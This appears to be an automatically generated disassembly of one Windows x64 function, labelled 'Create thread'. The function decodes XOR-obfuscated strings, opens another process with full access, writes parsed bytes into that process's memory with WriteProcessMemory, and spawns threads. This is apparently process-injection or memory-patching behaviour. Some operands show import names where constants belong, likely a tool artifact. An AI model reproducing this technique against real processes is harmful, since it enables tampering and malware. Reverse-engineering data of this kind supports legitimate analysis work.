Function at 0x1400045e0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x250]
sub rsp, 0x350
mov rax, qword [0x1400d4098]
xor rax, rsp
mov qword [rbp + 0x240], rax
mov qword [rbp - 0x60], rdx
mov qword [rbp - 0x68], rcx
mov dword [rbp - 0x78], 0
mov byte [rsp + 0x30], recv
mov al, 0x44
mov dl, 0x48
mov cl, reloc.WLDAP32.dll_Ordinal_33
mov r8b, 0x5c
mov r9b, 0x60
mov r10b, WSAGetLastError
mov r11b, 0x75
mov bl, 0x69
mov dil, 0x7e
mov sil, Ordinal_35
movzx r14d, bl
mov r15b, reloc.WS2_32.dll_WSACleanup
movzx r12d, bl
xor r13d, r13d
xor al, 0xc
mov byte [rsp + 0x31], al
xor dl, 0xc
mov byte [rsp + 0x32], dl
xor cl, 0xc
mov byte [rsp + 0x33], cl
xor r8b, 0xc
mov byte [rsp + 0x34], r8b
xor r9b, 0xc
mov byte [rsp + 0x35], r9b
xor r10b, 0xc
mov byte [rsp + 0x36], r10b
xor r11b, 0xc
mov byte [rsp + 0x37], r11b
xor bl, 0xc
mov byte [rsp + 0x38], bl
xor dil, 0xc
mov byte [rsp + 0x39], dil
xor sil, 0xc
mov byte [rsp + 0x3a], sil
xor r14b, 0xc
mov byte [rsp + 0x3b], r14b
xor r15b, 0xc
mov byte [rsp + 0x3c], r15b
xor r12b, 0xc
mov byte [rsp + 0x3d], r12b
mov byte [rsp + 0x3e], r13b
lea rcx, [rsp + 0x31]
call fcn.140002c60
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
mov qword [rbp - 0x70], rax
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
xor r15d, r15d
mov r14d, r15d
mov qword [rbp - 0x58], r15
mov qword [rbp - 8], r15
xor edx, edx
mov r8d, 0xf0
lea rcx, [rbp + 0x40]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x1400c1638]
mov qword [rbp + 0x40], rax
lea rcx, [rbp + 0xd0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov r12d, 2
mov dword [rbp - 0x74], r12d
mov dword [rbp - 0x78], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx + 0x3c], edx
lea rax, [rbp + 0x50]
mov qword [rbp - 0x50], rax
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0x50], rax
mov rax, qword [rbp - 0x60]
mov rdx, rax
cmp qword [rax + 0x18], 0x10
mov r13, qword [rbp - 0x68]
jb 0x14000479a
mov rdx, qword [rax]
mov r9d, 2
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x50]
call fcn.140013a20
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x10], 0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x40]
call fcn.140013c90
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
mov rdi, qword [rbp - 0x10]
test al, al
je 0x14000488a
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov rsi, rax
lea rbx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rbx, qword [rbp + 0x10]
mov dword [rax], r15d
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
cmp rbx, qword [rbp]
je 0x140004faf
cmp dword [rsi], 0x22
je 0x140004fa1
mov byte [rsp + 0x40], al
cmp rdi, r14
je 0x140004844
mov byte [rdi], al
inc rdi
mov qword [rbp - 0x10], rdi
jmp 0x140004861
lea r8, [rsp + 0x40]
mov rdx, rdi
lea rcx, [rbp - 0x18]
call fcn.140016580
mov r14, qword [rbp - 8]
mov qword [rbp - 0x58], r14
mov rdi, qword [rbp - 0x10]
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x40]
call fcn.140013c90
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x1400047f0
mov rsi, qword [rbp - 0x70]
mov r14, qword [r13]
mov qword [rbp], r14
mov r15, qword [r13 + 8]
mov qword [rbp - 0x48], r15
mov rbx, qword [rbp - 0x18]
cmp r14, r15
je 0x140004fdf
sub rdi, rbx
mov qword [rbp - 0x50], rdi
nop
mov eax, dword [r14]
mov dword [rbp - 0x78], eax
mov edx, eax
mov qword [rsp + 0x20], 0
mov r9, rdi
mov r8, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140004e86
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x130]
call sub.VCRUNTIME140.dll_memset
mov byte [rsp + 0x68], 7
mov al, 0x62
mov cl, 0x75
movzx edx, cl
mov r8b, 0x68
movzx r9d, cl
mov r10b, reloc.WS2_32.dll_WSACleanup
mov r11b, reloc.WLDAP32.dll_Ordinal_41
mov bl, 0x6b
movzx edi, r8b
mov sil, 0x60
xor r14d, r14d
xor al, 7
mov byte [rsp + 0x69], al
xor cl, 7
mov byte [rsp + 0x6a], cl
xor dl, 7
mov byte [rsp + 0x6b], dl
xor r8b, 7
mov byte [rsp + 0x6c], r8b
xor r9b, 7
mov byte [rsp + 0x6d], r9b
xor r10b, 7
mov byte [rsp + 0x6e], r10b
xor r11b, 7
mov byte [rsp + 0x6f], r11b
xor bl, 7
mov byte [rsp + 0x70], bl
xor dil, 7
mov byte [rsp + 0x71], dil
xor sil, 7
mov byte [rsp + 0x72], sil
mov byte [rsp + 0x73], r14b
lea r8, [rsp + 0x69]
lea rdx, [0x1400d53b8]
lea rcx, [rbp - 0x40]
call fcn.140013e80
nop
cmp qword [rax + 0x18], 0x10
jb 0x140004987
mov rax, qword [rax]
mov r8d, 2
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.140012440
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x130], rax
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x12c], edx
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140004a09
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004a04
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004fbd
call fcn.1400ab1d8
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x40], 0
movdqa xmm1, xmmword [0x1400c30f0]
movdqu xmmword [rsp + 0x48], xmm1
mov cl, Ordinal_41
mov dl, reloc.WLDAP32.dll_Ordinal_46
mov r8b, 0x6b
mov r10b, 0x2a
mov r11b, 0x2f
movzx ebx, r11b
mov dil, reloc.WS2_32.dll_gethostname
movzx esi, dl
mov r14b, gethostname
movzx r15d, r14b
mov r12b, WSAStartup
movzx r13d, r8b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r9d, xmm1
xor al, r9b
mov byte [rsp + 0x49], al
xor byte [rsp + 0x4a], r9b
xor byte [rsp + 0x4b], r9b
xor byte [rsp + 0x4c], r9b
xor byte [rsp + 0x4d], r9b
xor byte [rsp + 0x4e], r9b
xor byte [rsp + 0x4f], r9b
xor byte [rsp + 0x50], r9b
xor byte [rsp + 0x51], r9b
xor byte [rsp + 0x52], r9b
xor byte [rsp + 0x53], r9b
xor byte [rsp + 0x54], r9b
xor byte [rsp + 0x55], r9b
xor byte [rsp + 0x56], r9b
xor byte [rsp + 0x57], r9b
xor cl, r9b
mov byte [rsp + 0x58], cl
xor dl, r9b
mov byte [rsp + 0x59], dl
xor r8b, r9b
mov byte [rsp + 0x5a], r8b
xor r10b, r9b
mov byte [rsp + 0x5b], r10b
xor r11b, r9b
mov byte [rsp + 0x5c], r11b
xor bl, r9b
mov byte [rsp + 0x5d], bl
xor dil, r9b
mov byte [rsp + 0x5e], dil
xor sil, r9b
mov byte [rsp + 0x5f], sil
xor r14b, r9b
mov byte [rsp + 0x60], r14b
xor r15b, r9b
mov byte [rsp + 0x61], r15b
xor r12b, r9b
mov byte [rsp + 0x62], r12b
xor r13b, r9b
mov byte [rsp + 0x63], r13b
mov byte [rsp + 0x64], 0
lea rdx, [rsp + 0x49]
lea rcx, [rbp + 0x130]
call fcn.140013fe0
mov edx, dword [rbp - 0x78]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1400141b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x138]
call fcn.1400135f0
test rax, rax
jne 0x140004b71
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x130]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov byte [rsp + 0x78], Ordinal_35
mov al, 0x6a
mov cl, 0x66
mov dl, reloc.WS2_32.dll_ntohs
mov r8b, WSAStartup
mov r9b, Ordinal_79
mov r10b, 0x43
mov r11b, 0x5b
mov bl, 0x47
mov dil, 0x50
mov sil, listen
movzx r14d, bl
mov r15b, 0x5a
movzx r12d, bl
xor r13d, r13d
xor al, 0x22
mov byte [rsp + 0x79], al
xor cl, 0x22
mov byte [rsp + 0x7a], cl
xor dl, 0x22
mov byte [rsp + 0x7b], dl
xor r8b, 0x22
mov byte [rsp + 0x7c], r8b
xor r9b, 0x22
mov byte [rsp + 0x7d], r9b
xor r10b, 0x22
mov byte [rsp + 0x7e], r10b
xor r11b, 0x22
mov byte [rsp + 0x7f], r11b
xor bl, 0x22
mov byte [rbp - 0x80], bl
xor dil, 0x22
mov byte [rbp - 0x7f], dil
xor sil, 0x22
mov byte [rbp - 0x7e], sil
xor r14b, 0x22
mov byte [rbp - 0x7d], r14b
xor r15b, 0x22
mov byte [rbp - 0x7c], r15b
xor r12b, 0x22
mov byte [rbp - 0x7b], r12b
mov byte [rbp - 0x7a], r13b
lea rcx, [rsp + 0x79]
call fcn.140002ea0
mov byte [rsp + 0x30], reloc.WS2_32.dll_gethostname
mov al, 0x71
mov cl, 0x7d
mov dl, reloc.WS2_32.dll_sendto
mov r8b, 0x78
mov r9b, 0x5e
mov r10b, 0x5c
mov r11b, 0x57
mov bl, 0x4d
mov dil, reloc.WS2_32.dll_socket
movzx esi, r10b
mov r14b, 0x41
movzx r15d, r10b
xor r12d, r12d
xor al, 0x39
mov byte [rsp + 0x31], al
xor cl, 0x39
mov byte [rsp + 0x32], cl
xor dl, 0x39
mov byte [rsp + 0x33], dl
xor r8b, 0x39
mov byte [rsp + 0x34], r8b
xor r9b, 0x39
mov byte [rsp + 0x35], r9b
xor r10b, 0x39
mov byte [rsp + 0x36], r10b
xor r11b, 0x39
mov byte [rsp + 0x37], r11b
xor bl, 0x39
mov byte [rsp + 0x38], bl
xor dil, 0x39
mov byte [rsp + 0x39], dil
xor sil, 0x39
mov byte [rsp + 0x3a], sil
xor r14b, 0x39
mov byte [rsp + 0x3b], r14b
xor r15b, 0x39
mov byte [rsp + 0x3c], r15b
mov byte [rsp + 0x3d], r12b
lea rcx, [rsp + 0x31]
call fcn.140002ea0
mov rax, qword [0x1400d5688]
cmp rax, qword [0x1400d5690]
je 0x140004cc5
mov qword [0x1400d5690], rax
mov rax, qword [0x1400d5298]
cmp rax, qword [0x1400d52a0]
je 0x140004cdc
mov qword [0x1400d52a0], rax
mov rax, qword [0x1400d56d8]
cmp rax, qword [0x1400d56e0]
je 0x140004cf3
mov qword [0x1400d56e0], rax
mov rax, qword [0x1400d5710]
cmp rax, qword [0x1400d5718]
je 0x140004d0a
mov qword [0x1400d5718], rax
mov rax, qword [0x1400d5250]
cmp rax, qword [0x1400d5258]
je 0x140004d21
mov qword [0x1400d5258], rax
mov rax, qword [0x1400d5268]
cmp rax, qword [0x1400d5270]
je 0x140004d38
mov qword [0x1400d5270], rax
mov rax, qword [0x1400d5200]
cmp rax, qword [0x1400d5208]
je 0x140004d4f
mov qword [0x1400d5208], rax
mov rax, qword [0x1400d5280]
cmp rax, qword [0x1400d5288]
je 0x140004d66
mov qword [0x1400d5288], rax
mov rax, qword [0x1400d52e8]
cmp rax, qword [0x1400d52f0]
je 0x140004d7d
mov qword [0x1400d52f0], rax
mov rax, qword [0x1400d56a0]
cmp rax, qword [0x1400d56a8]
je 0x140004d94
mov qword [0x1400d56a8], rax
mov rax, qword [0x1400d5218]
cmp rax, qword [0x1400d5220]
je 0x140004dab
mov qword [0x1400d5220], rax
mov rax, qword [0x1400d52b0]
cmp rax, qword [0x1400d52b8]
je 0x140004dc2
mov qword [0x1400d52b8], rax
mov rax, qword [0x1400d53d8]
cmp rax, qword [0x1400d53e0]
je 0x140004dd9
mov qword [0x1400d53e0], rax
mov rax, qword [0x1400d5348]
cmp rax, qword [0x1400d5350]
je 0x140004df0
mov qword [0x1400d5350], rax
mov rax, qword [0x1400d5300]
cmp rax, qword [0x1400d5308]
je 0x140004e07
mov qword [0x1400d5308], rax
mov rax, qword [0x1400d5360]
cmp rax, qword [0x1400d5368]
je 0x140004e1e
mov qword [0x1400d5368], rax
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x130], rax
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x12c], edx
lea rcx, [rbp + 0x138]
call fcn.140012280
lea rcx, [rbp + 0x140]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov r14, qword [rbp]
mov r13, qword [rbp - 0x68]
mov r15, qword [rbp - 0x48]
mov r12d, dword [rbp - 0x74]
mov ecx, 0x48
call fcn.1400aaf4c
mov rsi, rax
mov qword [rbp - 0x20], rax
mov dword [rax], reloc.WLDAP32.dll_Ordinal_30
lea rcx, [rax + 8]
mov rdx, qword [rbp - 0x60]
call fcn.140012f00
nop
xor edi, edi
mov qword [rsi + 0x28], rdi
mov qword [rsi + 0x30], rdi
mov qword [rsi + 0x38], rdi
mov rbx, qword [r13 + 8]
sub rbx, qword [r13]
sar rbx, 2
test rbx, rbx
je 0x140004f1d
movabs rax, 0x3fffffffffffffff
cmp rbx, rax
ja 0x1400050e7
mov rdx, rbx
call fcn.140016ad0
mov qword [rsi + 0x28], rax
mov qword [rsi + 0x30], rax
lea rax, [rax + rbx*4]
mov qword [rsi + 0x38], rax
mov rdi, qword [rsi + 0x28]
mov rbx, qword [r13 + 8]
mov rdx, qword [r13]
sub rbx, rdx
mov r8, rbx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
sar rbx, 2
lea rax, [rdi + rbx*4]
mov qword [rsi + 0x30], rax
xor edi, edi
lea rax, [0x140002f90]
mov qword [rsi + 0x40], rax
mov qword [rbp], rsi
or r12d, 1
mov dword [rbp - 0x74], r12d
lea rax, [rbp + 0x38]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], edi
mov r9, rsi
lea r8, [0x140016c90]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x30], rax
test rax, rax
je 0x140004fd0
cmp dword [rbp + 0x38], 0
je 0x140004fc4
movaps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp], xmm0
lea rcx, [rbp]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140004fc4
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x30], xmm0
add r14, 4
mov qword [rbp], r14
mov rbx, qword [rbp - 0x18]
cmp r14, r15
je 0x140004fe1
mov rdi, qword [rbp - 0x50]
mov rsi, qword [rbp - 0x70]
jmp 0x1400048b0
lea rcx, str.stoi_argument_out_of_range
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_]
int3
lea rcx, str.invalid_stoi_argument
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const____ptr64_]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x38], edi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
xor edi, edi
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x14000502a
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005025
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005025
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ab1d8
mov qword [rbp + 0x20], rdi
mov qword [rbp + 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x10], 0
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx + 0x3c], edx
lea rcx, [rbp + 0x50]
call fcn.140012b00
lea rcx, [rbp + 0x58]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xd0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
test rbx, rbx
je 0x1400050bd
mov rdx, qword [rbp - 0x58]
sub rdx, rbx
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400050b5
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400050b5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.1400ab1d8
mov rcx, qword [rbp + 0x240]
xor rcx, rsp
call fcn.1400aac90
mov rbx, qword [rsp + 0x3a0]
add rsp, 0x350
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1400161e0
nop
int3